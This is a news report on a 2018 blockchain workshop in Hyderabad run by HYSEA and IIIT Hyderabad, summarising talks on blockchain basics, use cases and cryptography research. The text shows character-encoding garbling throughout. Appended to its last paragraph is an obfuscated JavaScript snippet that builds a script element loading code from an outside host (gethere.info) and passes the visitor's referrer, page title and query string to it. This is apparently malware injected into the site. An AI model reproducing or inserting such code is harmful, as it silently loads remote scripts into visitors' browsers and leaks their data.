HYSEA Organise “Understanding Blockchain” Workshop at IIIT Hyderabad

HYSEA is a registered apex body with more than 300 member organizations representing the IT & ITES industry in Hyderabad under the Andhra Pradesh Public Societies Registration Act. Its vision is a�?To Position Hyderabad as the leading intellectual capital of the world, by nurturing entrepreneurship, research and innovation, to achieve global excellence in IT products and servicesa��.A�

Hyderabad Software Enterprises Association (HYSEA) and International Institute of Information Technology, Hyderabad (IIITH), held the fourth workshop on a�?Understanding Blockchaina�? A�as part of the a�?TechSeries@HYSEAa�� A�at IIIT Hyderabad on 15th March 2018.

The workshop was conducted under the guidance of organizing chair Prof Ramesh Loganathan Professor Co-Innovation, IIIT Hyderabad (formerly, MD Progress Software India and President of HYSEA).

The objective of the workshop was, understanding how the Blockchain technology works and its potential uses, in the B2B & B2C scenario. The workshop also aimed to encourage faculty members and students of IIIT-H in developing research interest in the area.

Showcasing the Practioners view of Understanding Block chain Technology, Kishore Seshagiri, EVP and head of Block Chain Center of Excellence,A�Broadridge India, referred to Blockchain as being a�?Multiple copies of a giant spreadsheeta�� and also highlighted the three fundamental building blocks of Blockchain Technology, viz. that it is Decentralised & Distributed, it needs Mutual Consensus and it should be Cryptographically Secure & Immutable. A�

Kishore also threw light on some of the real world problems that Blockchain Technology had the potential to solve which include a�?Property Registry, Seamless Forex Markets, Post Trade Processing in Capital Markets, Global Trade Finance, Digital identity, Digital Rights management, Voting & Supply Chain transparency.

Talking about the Foundations of Blockchain & Fintech, Ritesh Modi,A�Lead Faculty, Blockchain, TalentSprint, defined Blockchain as :-

  • A Distributed Database a�� a shared and regularly reconciled database
  • Network of large number of nodes connected using P2P protocols
  • Everything is stored Hashed
  • Massive use of Cryptography a�� Asymmetric (private/public keys)
  • Ability to author contracts known as smart contracts

According to Ritesh, some of the major Blockchains are Bitcoin, Ethereum, Hyperledger, Corda & Symbiont. A�The industries that are being disrupted due to this technology are:

  • Banking and Insurance
  • Financial Institutions
  • Manufacturing and distribution a�� supply chain and logistics
  • Real estate
  • Construction
  • Utilities like oil and gas

Prof. Kannan Srinathan for IIIT Hyderabad presented a�?Research Trends in Blockchaina�� and spoke at length about the most basic Blockchain Technology viz. A�Crypto and defined Crypto in his A�innovative style referring to Crypto as:-

  • as a Fantastic Story because no other field of science has ever had to so brazenly circumvent logical no-go theorem
  • being A�Fascinating because no other field of science has so pleasingly succeeded in circumventing logical no-go theorems
  • It being naturally fundamental because cryptography has famously extended its success story by revolutionarily circumventing logical no-go theorems in other areas too!

The participants expressed the opinion that the talks and sessions were very useful for them in improving domain knowledge and providing research direction. In addition, they were happy to connect to experts for future collaborations.var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

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